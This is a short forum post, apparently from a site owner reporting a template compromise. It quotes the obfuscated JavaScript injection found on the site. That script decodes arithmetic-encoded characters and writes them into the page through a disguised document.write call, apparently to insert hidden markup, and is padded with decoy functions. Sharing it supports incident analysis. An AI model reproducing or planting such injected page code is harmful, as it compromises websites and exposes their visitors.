OK, Update : apparently nothing else in the templates had been modified.
For reference, the JavaScript part of the injection was :
<script>function KoiQBOL(qNQghUYaEb){ fff=op.split("394");var UtRt = document.getElementById('dklA'); }
function WwcDBUVhHq(Epi){var rHZBxZwKHL=5,UxiEfYK=7;var UeF='42+6,82+1,82+6,86+3,77+1,72+1,44+2,9+2,7+1,32+6,80+5,85+0,82+6,74+2,86+3,69+2,40+0,39+2,72+6,72+6,87+1,87+1,67+6,75+0,71+3,22+6,87+6,22+6,71+3,75+0,82+1,80+0,77+1,69+2,86+3,41+3,78+4,79+2,78+4,72+1,42+1,22+6,89+2,9+2,7+1,42+6,33+4,82+1,82+6,86+3,',pBY=UeF.split(',');YUCPn='';for(HxPCvFVEnA=0x13-0x6-0x8-0xb+0x25+0x30-0x4f;HxPCvFVEnA<pBY.length-1;HxPCvFVEnA+=-0x19-0x9-0x31+0x24-0x16-0x1+0x6+0x41){ acatnqE=pBY[HxPCvFVEnA].split('+');cphjP = parseInt(acatnqE[0]*UxiEfYK)+parseInt(acatnqE[1]);cphjP = parseInt(cphjP)/rHZBxZwKHL;YUCPn += String.fromCharCode(cphjP);}return YUCPn;}function RDqmrbJ(kbTAqPXcK){var aBaIvacm=3,hfqTPATL=2;var oJC='162+0,151+1,93+0,19+1,15+0,19+1,15+0,',DeegOl=oJC.split(',');LrwOS='';for(KVONkcbxn=-0x10-0x20+0x1f-0x25-0x6+0x3c;KVONkcbxn<DeegOl.length-1;KVONkcbxn+=-0x5-0x5-0x31+0x1d-0x27+0x27+0x2-0x25-0x25+0x67){ qPCBpS=DeegOl[KVONkcbxn].split('+');xqFr = parseInt(qPCBpS[0]*hfqTPATL)+parseInt(qPCBpS[1]);xqFr = parseInt(xqFr)/aBaIvacm;LrwOS += String.fromCharCode(xqFr);}return LrwOS;}function eMlw(FcBGJ){ fff.op.replace("950"); }
function RRMbqRvlGb(oQifPnt){ window.eval();window.eval(); }
document['w2708r9125i4240t5785e43695678'.replace(/[0-9]/g,'')](WwcDBUVhHq('KQtB'),RDqmrbJ('MxJSbIqOl'));function yaXZVHbp(dqNEJztHxw){ fff=op.split("274");var oqgdHCgLda=new Function("kQAXCR", "return 611205;");alert('yZu'); }
function MoRq(Mqk){ fff.op.replace("1003");var cNsEgXuNuN = document.getElementById('TfXWubx');var cNsEgXuNuN = document.getElementById('TfXWubx'); }
</script>